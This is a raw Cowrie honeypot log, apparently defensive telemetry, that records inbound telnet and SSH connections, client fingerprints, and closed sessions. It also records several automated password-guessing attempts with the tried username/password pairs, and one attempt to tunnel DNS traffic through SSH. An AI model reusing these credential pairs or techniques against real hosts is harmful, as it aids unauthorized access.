{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.528608Z","session":"3fe0c624da44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.626345Z","src_ip":"87.251.64.176","session":"3fe0c624da44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.726240Z","src_ip":"87.251.64.176","session":"3fe0c624da44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.82.31.96","src_port":37570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5a611a2a23","protocol":"telnet","message":"New connection: 41.82.31.96:37570 (159.203.135.109:23) [session: 6d5a611a2a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:34.366512Z"}
{"eventid":"cowrie.session.closed","duration":41.22357773780823,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:36.369567Z","src_ip":"69.65.3.189","session":"4662490bbc49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":40932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d0580a7eb2c","protocol":"telnet","message":"New connection: 80.65.211.42:40932 (159.203.135.109:23) [session: 1d0580a7eb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:55.377040Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49828,"dst_ip":"10.17.0.5","dst_port":22,"session":"009f1db0a805","protocol":"ssh","message":"New connection: 80.94.92.184:49828 (10.17.0.5:22) [session: 009f1db0a805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:09.405664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:09.665489Z","src_ip":"80.94.92.184","session":"009f1db0a805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:09.669221Z","src_ip":"80.94.92.184","session":"009f1db0a805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:11.265136Z","src_ip":"80.94.92.184","session":"009f1db0a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:12.591582Z","src_ip":"80.94.92.184","session":"009f1db0a805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37254,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e46fed2901","protocol":"telnet","message":"New connection: 80.65.211.42:37254 (159.203.135.109:23) [session: 66e46fed2901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:13.075258Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55968,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57122979d53","protocol":"telnet","message":"New connection: 80.65.211.42:55968 (159.203.135.109:23) [session: d57122979d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:21.046603Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54008,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cff344629a5","protocol":"telnet","message":"New connection: 80.65.211.42:54008 (159.203.135.109:23) [session: 1cff344629a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:26.028599Z"}
{"eventid":"cowrie.session.closed","duration":32.40430974960327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:27.781219Z","src_ip":"80.65.211.42","session":"1d0580a7eb2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52860,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6282ab94844","protocol":"telnet","message":"New connection: 80.65.211.42:52860 (159.203.135.109:23) [session: a6282ab94844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:38.838285Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52862,"dst_ip":"159.203.135.109","dst_port":23,"session":"39dc50149e47","protocol":"telnet","message":"New connection: 80.65.211.42:52862 (159.203.135.109:23) [session: 39dc50149e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:41.025140Z"}
{"eventid":"cowrie.session.closed","duration":34.712355613708496,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:47.787487Z","src_ip":"80.65.211.42","session":"66e46fed2901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":59492,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ff06efae12","protocol":"telnet","message":"New connection: 80.65.211.42:59492 (159.203.135.109:23) [session: f2ff06efae12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:53.385082Z"}
{"eventid":"cowrie.session.closed","duration":33.2313334941864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:54.277803Z","src_ip":"80.65.211.42","session":"d57122979d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7577af9a4069","protocol":"telnet","message":"New connection: 43.134.118.172:36850 (10.17.0.5:23) [session: 7577af9a4069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:56.691330Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e98e7f9e23a","protocol":"telnet","message":"New connection: 43.134.118.172:36862 (10.17.0.5:23) [session: 3e98e7f9e23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:56.696504Z"}
{"eventid":"cowrie.session.closed","duration":33.36453199386597,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:46:59.392998Z","src_ip":"80.65.211.42","session":"1cff344629a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":46748,"dst_ip":"159.203.135.109","dst_port":23,"session":"48375aa3b39b","protocol":"telnet","message":"New connection: 80.65.211.42:46748 (159.203.135.109:23) [session: 48375aa3b39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:00.685171Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4e47d4bdab","protocol":"telnet","message":"New connection: 80.65.211.42:55998 (159.203.135.109:23) [session: fd4e47d4bdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:04.753330Z"}
{"eventid":"cowrie.session.closed","duration":120.00110673904419,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:07.476364Z","src_ip":"157.49.80.15","session":"c7153b4042e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b37440e7bfc","protocol":"telnet","message":"New connection: 80.65.211.42:56014 (159.203.135.109:23) [session: 5b37440e7bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:08.373492Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a919f4a0dfa","protocol":"telnet","message":"New connection: 80.65.211.42:56016 (159.203.135.109:23) [session: 1a919f4a0dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:10.879246Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":32421,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65b7ed0e1c4","protocol":"telnet","message":"New connection: 157.49.80.15:32421 (10.17.0.5:23) [session: a65b7ed0e1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:12.361011Z"}
{"eventid":"cowrie.session.closed","duration":34.9395477771759,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:13.777715Z","src_ip":"80.65.211.42","session":"a6282ab94844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95315384864807,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:13.978163Z","src_ip":"80.65.211.42","session":"39dc50149e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":41747,"dst_ip":"10.17.0.5","dst_port":23,"session":"203ec4a3fada","protocol":"telnet","message":"New connection: 157.49.80.15:41747 (10.17.0.5:23) [session: 203ec4a3fada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:15.993294Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":55583,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78bfb9addd7","protocol":"telnet","message":"New connection: 157.49.80.15:55583 (10.17.0.5:23) [session: b78bfb9addd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:16.129334Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33058,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc73849e3be","protocol":"telnet","message":"New connection: 80.65.211.42:33058 (159.203.135.109:23) [session: 6bc73849e3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:19.546454Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":46580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62d21b82992","protocol":"telnet","message":"New connection: 80.65.211.42:46580 (159.203.135.109:23) [session: e62d21b82992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:24.696747Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":46588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d966ef7f6f1","protocol":"telnet","message":"New connection: 80.65.211.42:46588 (159.203.135.109:23) [session: 2d966ef7f6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:27.082340Z"}
{"eventid":"cowrie.session.closed","duration":30.81931209564209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:27.510546Z","src_ip":"43.134.118.172","session":"7577af9a4069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29387021064758,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:27.678851Z","src_ip":"80.65.211.42","session":"f2ff06efae12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30890130996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:28.005342Z","src_ip":"43.134.118.172","session":"3e98e7f9e23a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79808497428894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:32.483139Z","src_ip":"80.65.211.42","session":"48375aa3b39b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164031982422,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:34.368041Z","src_ip":"41.82.31.96","session":"6d5a611a2a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.334073305130005,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:39.087275Z","src_ip":"80.65.211.42","session":"fd4e47d4bdab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56132,"dst_ip":"159.203.135.109","dst_port":23,"session":"730f1461a2b9","protocol":"telnet","message":"New connection: 80.65.211.42:56132 (159.203.135.109:23) [session: 730f1461a2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:39.405107Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56146,"dst_ip":"159.203.135.109","dst_port":23,"session":"4093381891e7","protocol":"telnet","message":"New connection: 80.65.211.42:56146 (159.203.135.109:23) [session: 4093381891e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:41.870111Z"}
{"eventid":"cowrie.session.closed","duration":31.994755029678345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:42.873868Z","src_ip":"80.65.211.42","session":"1a919f4a0dfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92847514152527,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:46.301840Z","src_ip":"80.65.211.42","session":"5b37440e7bfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06594705581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:50.612275Z","src_ip":"80.65.211.42","session":"6bc73849e3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54706,"dst_ip":"159.203.135.109","dst_port":23,"session":"84587b64a686","protocol":"telnet","message":"New connection: 80.65.211.42:54706 (159.203.135.109:23) [session: 84587b64a686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:52.012508Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54708,"dst_ip":"159.203.135.109","dst_port":23,"session":"d38142d185a7","protocol":"telnet","message":"New connection: 80.65.211.42:54708 (159.203.135.109:23) [session: d38142d185a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:52.158195Z"}
{"eventid":"cowrie.session.closed","duration":32.6604483127594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:57.357069Z","src_ip":"80.65.211.42","session":"e62d21b82992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17687,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b083f023fe","protocol":"ssh","message":"New connection: 2.57.121.25:17687 (10.17.0.5:22) [session: 65b083f023fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:57.987465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:57.991233Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:58.090600Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.194284915924072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:58.276548Z","src_ip":"80.65.211.42","session":"2d966ef7f6f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"argent","message":"login attempt [user/argent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:58.561920Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"anteater","message":"login attempt [user/anteater] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:47:59.663010Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"amores","message":"login attempt [user/amores] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:00.763785Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"amoremio","message":"login attempt [user/amoremio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:01.866330Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"allright","message":"login attempt [user/allright] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:02.968014Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:04.070021Z","src_ip":"2.57.121.25","session":"65b083f023fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":48068,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb698190b868","protocol":"ssh","message":"New connection: 187.16.96.250:48068 (159.203.135.109:22) [session: fb698190b868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:09.614766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:09.619063Z","src_ip":"187.16.96.250","session":"fb698190b868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:09.735583Z","src_ip":"187.16.96.250","session":"fb698190b868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1234qwer","message":"login attempt [testuser/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:10.232525Z","src_ip":"187.16.96.250","session":"fb698190b868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.69338607788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:11.098399Z","src_ip":"80.65.211.42","session":"730f1461a2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:11.351803Z","src_ip":"187.16.96.250","session":"fb698190b868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.779765605926514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:12.649764Z","src_ip":"80.65.211.42","session":"4093381891e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.614423751831055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:48:23.772522Z","src_ip":"80.65.211.42","session":"d38142d185a7","protocol":"telnet"}
